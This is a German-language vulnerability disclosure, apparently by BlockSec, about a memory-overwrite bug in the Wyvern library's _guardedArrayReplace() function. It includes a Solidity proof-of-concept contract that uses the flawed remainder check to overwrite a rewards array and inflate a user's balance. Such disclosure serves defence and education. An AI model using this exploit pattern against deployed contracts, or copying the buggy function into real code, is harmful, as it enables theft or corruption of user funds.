Einleitung
Unser System zur Schwachstellenerkennung hat eine Speicherüberschreibungsschwachstelle in der neuesten Implementierung der Wyvern-Bibliothek gefunden. Diese gehört zum Wyvern-Protokoll für dezentrale Börsen, das zuvor von OpenSea verwendet wurde. Dieser Fehler kann zu beliebigen Speicherbeschreibungen führen.
Wir haben versucht, das Projekt zu kontaktieren (z. B. per E-Mail und über soziale Medien), haben jedoch noch keine Antwort erhalten. Da OpenSea zum Seaport-Protokoll migriert ist, sind wir der Meinung, dass es sicher ist, die detaillierten Informationen öffentlich zu machen. Darüber hinaus möchten wir diese Ergebnisse teilen, um die Community einzubinden, da der Fehler selbst etwas knifflig ist und die Ausnutzung ziemlich interessant ist.
Beschreibung
Der anfällige Code ist im offiziellen Code-Repository mit dem Commit-Hash 4790c04604b8dc1bd5eb82e697d1cdc8c53d57a9 zu finden.
Genauer gesagt liegt dieser Fehler in der Funktion _guardedArrayReplace() von ArrayUtils.sol. Wie der Name schon sagt, wird diese Funktion verwendet, um ein Byte-Array mit dynamischer Größe (d. h. der zweite Parameter namens _desired) selektiv in ein anderes zu kopieren (d. h. der erste Parameter namens _array). Beachten Sie, dass diese Funktion für eine Wort-basierte (d. h. 0x20 Bytes) Operation implementiert ist, sodass die Code-Logik je nach Berechnungsergebnis der Division in zwei Schritte unterteilt werden kann.
Für den Quotienteil (d. h. words = array.length / 0x20) kopiert die Code-Logik von Zeile 42 bis Zeile 49 das gewünschte Array wortweise in das Zielarray. Dieser Schritt funktioniert wie erwartet, obwohl die assert-Anweisung in Zeile 39 aufgrund der Integer-Arithmetik nutzlos ist.

Nach dem vorherigen Schritt, wenn die Division einen Rest ergibt, bedeutet dies, dass noch einige Bytes übrig sind, die nicht korrekt kopiert wurden. Die Code-Logik von Zeile 52 bis Zeile 66 ist dafür ausgelegt, diese Bytes zu verarbeiten. Leider verwendet die if-Anweisung in Zeile 52 fälschlicherweise den Quotienten (words, d. h. array.length / 0x20) anstelle des Rests (array.length % 0x20), um die Prüfung durchzuführen.
Die Schwere
Dieser Fehler kann zu beliebigen Speicherbeschreibungen führen. Angenommen, array.length ist genau durch 0x20 teilbar, dann erfolgt die Kopiervorgang tatsächlich in der Schleifenlogik. In den meisten Fällen wird die Funktion jedoch die anfällige Logik betreten und versuchen, ein Wort hinter dem gewünschten Array in das Zielarray zu kopieren, was zwangsläufig zu einem außerhalb des gültigen Bereichs liegenden Zugriff führt. Schlimmer noch, die fehlerhafte Logik könnte ausgenutzt werden, um ein Wort am Ende des Zielarrays zu überschreiben, was ein unbekannter Speicherbereich ist, der für beliebige Zwecke genutzt werden kann.
Wie kann dieser Fehler ausgenutzt werden?
Wir haben einen PoC-Vertrag entwickelt, um den potenziellen Angriffsvektor zu veranschaulichen. Der PoC-Vertrag hat zwei Funktionen. Die erste mit dem Namen test() dient zur Durchführung des Angriffs, während die zweite einfach die anfällige Funktion guardedArrayReplace() ist.
Insbesondere definieren wir in der Funktion test() zunächst einige In-Memory-Bytes (a, b und mask) und ein Array (d. h. _rewards). Das hier definierte _rewards wird verwendet, um die Prämien des Benutzers zu berechnen. Nach dem Aufruf der Funktion guardedArrayReplace() zum Kopieren von a nach b mit mask wird _rewards zum Guthaben des Benutzers hinzugefügt (d. h. balances[msg.sender]).
<span id="f8d5" data-selectable-paragraph="">contract PoC {</span><span id="6c09" data-selectable-paragraph=""> mapping(address=>uint) public balances;<br></span><span id="5b38" data-selectable-paragraph=""> event T(uint256,uint256,uint256);</span><span id="4fde" data-selectable-paragraph=""> function test() external {<br> bytes memory a = abi.encode(keccak256("123"));<br> bytes memory b = abi.encode(keccak256("456"));<br> uint[] memory _rewards = new uint[](1);<br> bytes memory mask = abi.encode(keccak256("123"));<br> bytes memory d = abi.encode(keccak256("eee"));<br> bytes memory d1 = abi.encode(keccak256("eee"));<br> bytes memory d3 = abi.encode(keccak256("eee"));<br> bytes memory d4 = abi.encode(keccak256("eee"));<br> bytes memory d5 = abi.encode(keccak256("eee"));<br> guardedArrayReplace(b, a, mask);</span><span id="19ec" data-selectable-paragraph=""> for(uint i = 0; i < _rewards.length; i++){<br> uint256 amt = _rewards[i];<br> balances[msg.sender] += amt;<br> }<br> }</span><span id="9ed3" data-selectable-paragraph=""> function guardedArrayReplace(bytes memory array, bytes memory desired, bytes memory mask)<br> internal<br> pure<br> {<br> require(array.length == desired.length, "Arrays have different lengths");<br> require(array.length == mask.length, "Array and mask have different lengths");</span><span id="f13c" data-selectable-paragraph=""> uint words = array.length / 0x20;<br> uint index = words * 0x20;<br> assert(index / 0x20 == words);<br> uint i;</span><span id="85cd" data-selectable-paragraph=""> for (i = 0; i < words; i++) {<br> /* Conceptually: array[i] = (!mask[i] && array[i]) || (mask[i] && desired[i]), bitwise in word chunks. */<br> assembly {<br> let commonIndex := mul(0x20, add(1, i))<br> let maskValue := mload(add(mask, commonIndex))<br> mstore(add(array, commonIndex), or(and(not(maskValue), mload(add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex)))))<br> }<br> }</span><span id="69d7" data-selectable-paragraph=""> /* Deal with the last section of the byte array. */<br> if (words > 0) {<br> /* This overlaps with bytes already set but is still more efficient than iterating through each of the remaining bytes individually. */<br> i = words;<br> assembly {<br> let commonIndex := mul(0x20, add(1, i))<br> let maskValue := mload(add(mask, commonIndex))<br> mstore(add(array, commonIndex), or(<br> and(not(maskValue), <br> mload(<br> add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex))))<br> )<br> }<br> } else {<br> /* If the byte array is shorter than a word, we must unfortunately do the whole thing bytewise.<br> (bounds checks could still probably be optimized away in assembly, but this is a rare case) */<br> for (i = index; i < array.length; i++) {<br> array[i] = ((mask[i] ^ 0xff) & array[i]) | (mask[i] & desired[i]);<br> }<br> }<br> }<br>}</span>
Hier verwenden wir Remix zur Demonstration des Ergebnisses. Es ist erwähnenswert, dass zunächst kein Wert für _rewards und balances zugewiesen wird. Nach der Ausnutzung wird das Guthaben des Benutzers auf einen extrem hohen Wert gesetzt (wie im roten Rechteck gezeigt).

Schlussfolgerung
Obwohl selten, können solche Speicherüberschreibungsschwachstellen immer noch in Smart Contracts vorkommen. Entwickler müssen auf die Code-Logik achten, die den Speicher manipuliert.
Über BlockSec
BlockSec ist ein wegweisendes Blockchain-Sicherheitsunternehmen, das 2021 von einer Gruppe weltweit angesehener Sicherheitsexperten gegründet wurde. Das Unternehmen engagiert sich für die Verbesserung der Sicherheit und Benutzerfreundlichkeit für die aufstrebende Web3-Welt, um deren Massenadoption zu fördern. Zu diesem Zweck bietet BlockSec Auditing-Dienste für Smart Contracts und EVM-Ketten, die Phalcon-Plattform für die sichere Entwicklung und proaktive Bedrohungsabwehr, die MetaSleuth-Plattform für die Nachverfolgung von Geldern und Ermittlungen sowie die MetaDock-Erweiterung für Web3-Entwickler an, um effizient in der Krypto-Welt zu surfen.
Bis heute hat das Unternehmen über 300 angesehene Kunden wie MetaMask, Uniswap Foundation, Compound, Forta und PancakeSwap betreut und in zwei Finanzierungsrunden von namhaften Investoren, darunter Matrix Partners, Vitalbridge Capital und Fenbushi Capital, zweistellige Millionenbeträge an US-Dollar erhalten.
Offizielle Website: https://blocksec.com/
Offizielles Twitter-Konto: https://twitter.com/BlockSecTeam



